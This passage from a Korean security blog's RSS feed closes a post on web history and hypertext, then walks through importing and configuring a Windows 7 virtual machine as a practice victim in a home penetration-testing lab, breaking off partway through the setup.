&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bamVbT/btsKus6C6wv/6JjT1IX8rCeGilY2abY8E1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bamVbT/btsKus6C6wv/6JjT1IX8rCeGilY2abY8E1/img.png&quot; data-alt=&quot;그림2 - 웹 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bamVbT/btsKus6C6wv/6JjT1IX8rCeGilY2abY8E1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbamVbT%2FbtsKus6C6wv%2F6JjT1IX8rCeGilY2abY8E1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1001&quot; height=&quot;472&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 웹 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초의 웹은 유럽 입자 물리학 연구소(CERN)의 연구원 팀 버너스 리 박사에 의해 탄생하였으며, 멀리 떨어져 있는 동료 연구자와 지식을 공유하기 위해 고안된 기술로 &lt;b&gt;하이퍼텍스트(HyperText)&lt;/b&gt; 중심으로 구성이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기의 웹은 단순히 텍스트로 구성 되어 있었으며, &lt;b&gt;하이퍼텍스트&lt;/b&gt;를 이용해 다른 페이지로 이동하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1994년부터 2004년까지 대부분의 웹 사이트가 앞서 말한 텍스트, 링크 구성이며 이를 웹 1.0 시대라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때는 이용자가 글을 등록, 수정, 삭제 등 참여하는 행위는 못하고 이용자는 일방적으로 정보 제공만 받는 형태였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 웹 사이트 운영자가 업로드 하는 것 이외에는 볼 수가 없는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;하이퍼텍스트(HyperText)란?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 한 문서에서 다른 문서로 접근할 수 있는 일종의 링크이다. 사용자는 이를 통해 다른 페이지로 이동할 수 있으며, 이를 흔히 웹 서핑이라고 한다. 텍스트 내의 하이퍼링크를 클릭하여 다른 텍스트로 이동한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0GZkS/btsKuT36eHG/l3i6DDuXX3RJJ31BhlTm41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0GZkS/btsKuT36eHG/l3i6DDuXX3RJJ31BhlTm41/img.png&quot; data-alt=&quot;그림3 - 하이퍼링크를 통한 텍스트 이동&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0GZkS/btsKuT36eHG/l3i6DDuXX3RJJ31BhlTm41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0GZkS%2FbtsKuT36eHG%2Fl3i6DDuXX3RJJ31BhlTm41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;358&quot; height=&quot;328&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 하이퍼링크를 통한 텍스트 이동&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 2.0 시대에 접어들면서 웹은 폭발적으로 성장 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 웹 1.0은 일방적으로 정보를 제공 받는 형태였다면, 웹 2.0은 이용자의 참여와 공유가 가능 해졌다. 이때부터 본격적으로 이용자들이 동영상, 이미지를 공유하고 참여가 가능함에 따라 UCC, 블로그, 커뮤니티가 생기는 등 인터넷 이용자들 간의 정보 공유와 참여를 이끌어냈다. 대표적으로 싸이월드와 네이버 지식IN이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 브라우저의 탄생과 발전&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저는 웹을 사용할 수 있는 시작점(클라이언트)으로 웹 서버와의 통신을 통해 요청과 응답을 주고 받고 HTML, CSS, Javascript 등의 클라이언트 언어를 해석하여 사용자에게 그래픽 인터페이스(GUI)를 제공해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초의 웹 브라우저는 1990년 팀 버너스 리에 의해 발명된 &quot;월드와이드웹WorldWideWeb&quot; 이며, 웹을 의미하는 &quot;World Wide Web&quot;과의 구분을 위해 &quot;넥서스(Nexus)&quot;로 변경 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 주로 사용하는 브라우저는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로소프트 - 엣지(Edge)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글 - 크롬(Chrome)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플 - 사파리(Safari)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모질라 - 파이어폭스(Firefox), 오페라(Opera)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>HTTP</category>
      <category>Web</category>
      <category>웹</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/191</guid>
      <comments>https://it-log.tistory.com/191#entry191comment</comments>
      <pubDate>Mon, 4 Nov 2024 20:15:08 +0900</pubDate>
    </item>
    <item>
      <title>윈도우 7 취약한 환경 설치하기</title>
      <link>https://it-log.tistory.com/190</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 설명&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;공격자: 칼리리눅스 (2022년 3월 버전)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;희생자:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Metasploitable2(msfv2)&lt;/span&gt;, beebox(bee-box v1.6), win7&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;윈도우 7 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;D 드라이브에 파일을 다운로드 후 압축 해제를 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;반디집을 사용하여 압축 해제 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;압축 해제 후 폴더 내에 win7 폴더를 추가로 생성한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;비박스 설치 경로: D:\IE11.Win7.For.Windows.VMware&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VBFSS/btsJg9ysXPE/br8idR68W0904YppUMJDD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VBFSS/btsJg9ysXPE/br8idR68W0904YppUMJDD1/img.png&quot; data-alt=&quot;그림1 - VMware Workstation Pro 파일 열기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VBFSS/btsJg9ysXPE/br8idR68W0904YppUMJDD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVBFSS%2FbtsJg9ysXPE%2Fbr8idR68W0904YppUMJDD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;764&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - VMware Workstation Pro 파일 열기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;그림1의 File - Open 을 클릭하여 D드라이브에서 윈도우7 압축해제 파일의 ovf 파일을 불러온다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;740&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5qAVk/btsJfQ7R24d/21DtCnBV56dmt6Zy15WI2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5qAVk/btsJfQ7R24d/21DtCnBV56dmt6Zy15WI2k/img.png&quot; data-alt=&quot;그림2 - 윈도우7 ovf 파일 불러오기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5qAVk/btsJfQ7R24d/21DtCnBV56dmt6Zy15WI2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5qAVk%2FbtsJfQ7R24d%2F21DtCnBV56dmt6Zy15WI2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;740&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;740&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 윈도우7 ovf 파일 불러오기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 압축해제한 폴더 내에 win7 폴더를 생성하였는데, VM 설치 시 사용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 그림3은 win7 폴더에 윈도우7 VM 설치파일을 풀어서 놓는 작업으로 보면 될 것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;737&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czHcnR/btsJfiRrayF/Nx0VUujQSu76TrbOVokZ01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czHcnR/btsJfiRrayF/Nx0VUujQSu76TrbOVokZ01/img.png&quot; data-alt=&quot;그림3 - Import&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czHcnR/btsJfiRrayF/Nx0VUujQSu76TrbOVokZ01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczHcnR%2FbtsJfiRrayF%2FNx0VUujQSu76TrbOVokZ01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;737&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;737&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - Import&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Import 후 &lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Edit virtual machine settings 를 클릭하여 환경설정을 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;947&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmWKID/btsJe82yQZv/0DpSfKzy7xwswOqVQcV2nK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmWKID/btsJe82yQZv/0DpSfKzy7xwswOqVQcV2nK/img.png&quot; data-alt=&quot;그림4 - 윈도우7 환경 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmWKID/btsJe82yQZv/0DpSfKzy7xwswOqVQcV2nK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmWKID%2FbtsJe82yQZv%2F0DpSfKzy7xwswOqVQcV2nK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1369&quot; height=&quot;947&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;947&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 윈도우7 환경 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;Memory는 2GB로 설정한다.&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;734&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctcnHQ/btsJgSX17t4/tuvqgpRQ1mqBb6OXwf8UeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctcnHQ/btsJgSX17t4/tuvqgpRQ1mqBb6OXwf8UeK/img.png&quot; data-alt=&quot;그림5 - Memory 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctcnHQ/btsJgSX17t4/tuvqgpRQ1mqBb6OXwf8UeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctcnHQ%2FbtsJgSX17t4%2FtuvqgpRQ1mqBb6OXwf8UeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;747&quot; height=&quot;734&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;734&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - Memory 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 어댑터가 없기 때문에 하단에 Add를 클릭 후 Network Adapter를 클릭 후 Finish를 클릭하여 추가한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;748&quot; data-origin-height=&quot;732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SDbBi/btsJhmYE3FO/5UtbBPF7KKWDauDOz5sdv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SDbBi/btsJhmYE3FO/5UtbBPF7KKWDauDOz5sdv0/img.png&quot; data-alt=&quot;그림6 - Network Adapter 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SDbBi/btsJhmYE3FO/5UtbBPF7KKWDauDOz5sdv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSDbBi%2FbtsJhmYE3FO%2F5UtbBPF7KKWDauDOz5sdv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;748&quot; height=&quot;732&quot; data-origin-width=&quot;748&quot; data-origin-height=&quot;732&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - Network Adapter 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network Adapter를 추가 후 OK를 클릭하여 설정을 완료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Memory: 가상환경에서 사용하는 RAM Memory 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Processors: 가상환경에서 사용하는 CPU 코어 개수&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network 방식에 대한 설명은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://developerin.tistory.com/18&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPjukW/btsJhhpEpCx/xBlFkDc2eOYhVxzZ7YS3F1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPjukW/btsJhhpEpCx/xBlFkDc2eOYhVxzZ7YS3F1/img.png&quot; data-alt=&quot;그림7 - 윈도우7 환경 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPjukW/btsJhhpEpCx/xBlFkDc2eOYhVxzZ7YS3F1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPjukW%2FbtsJhhpEpCx%2FxBlFkDc2eOYhVxzZ7YS3F1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;749&quot; height=&quot;732&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;732&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 윈도우7 환경 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Power on this virtual machine을 클릭하여 윈도우7을 실행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;943&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dA1On7/btsJgTJpA2P/2pXROxdZdPzu1tYgdAjQ4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dA1On7/btsJgTJpA2P/2pXROxdZdPzu1tYgdAjQ4K/img.png&quot; data-alt=&quot;그림8 - 윈도우7 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dA1On7/btsJgTJpA2P/2pXROxdZdPzu1tYgdAjQ4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdA1On7%2FbtsJgTJpA2P%2F2pXROxdZdPzu1tYgdAjQ4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1372&quot; height=&quot;943&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;943&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - 윈도우7 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우7 테스트 환경은 약 90 ~ 120일 정도 사용이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 화면은 아래 그림9와 같으며, ID와 PW를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IEUser&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Passw0rd!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P63YK/btsJgADs96e/vrlol0sFmvGuSiD46dmGo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P63YK/btsJgADs96e/vrlol0sFmvGuSiD46dmGo1/img.png&quot; data-alt=&quot;그림9 - 윈도우7 접속 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P63YK/btsJgADs96e/vrlol0sFmvGuSiD46dmGo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP63YK%2FbtsJgADs96e%2Fvrlol0sFmvGuSiD46dmGo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1226&quot; height=&quot;860&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - 윈도우7 접속 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시작 버튼 &amp;rarr; Control Panel &amp;rarr; Hardware and Sound &amp;rarr; Power Options &amp;rarr; Change when the computer sleeps&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림10과 같이 화면 꺼짐 및 컴퓨터 종료 시간을 Never로 설정 후 Save changes를 클릭하여 적용한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IdwJw/btsJgDfQmLE/9heWdnKPOC2sUiNSAMHc0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IdwJw/btsJgDfQmLE/9heWdnKPOC2sUiNSAMHc0k/img.png&quot; data-alt=&quot;그림10 - 화면 꺼짐 및 컴퓨터 종료 시간 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IdwJw/btsJgDfQmLE/9heWdnKPOC2sUiNSAMHc0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIdwJw%2FbtsJgDfQmLE%2F9heWdnKPOC2sUiNSAMHc0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 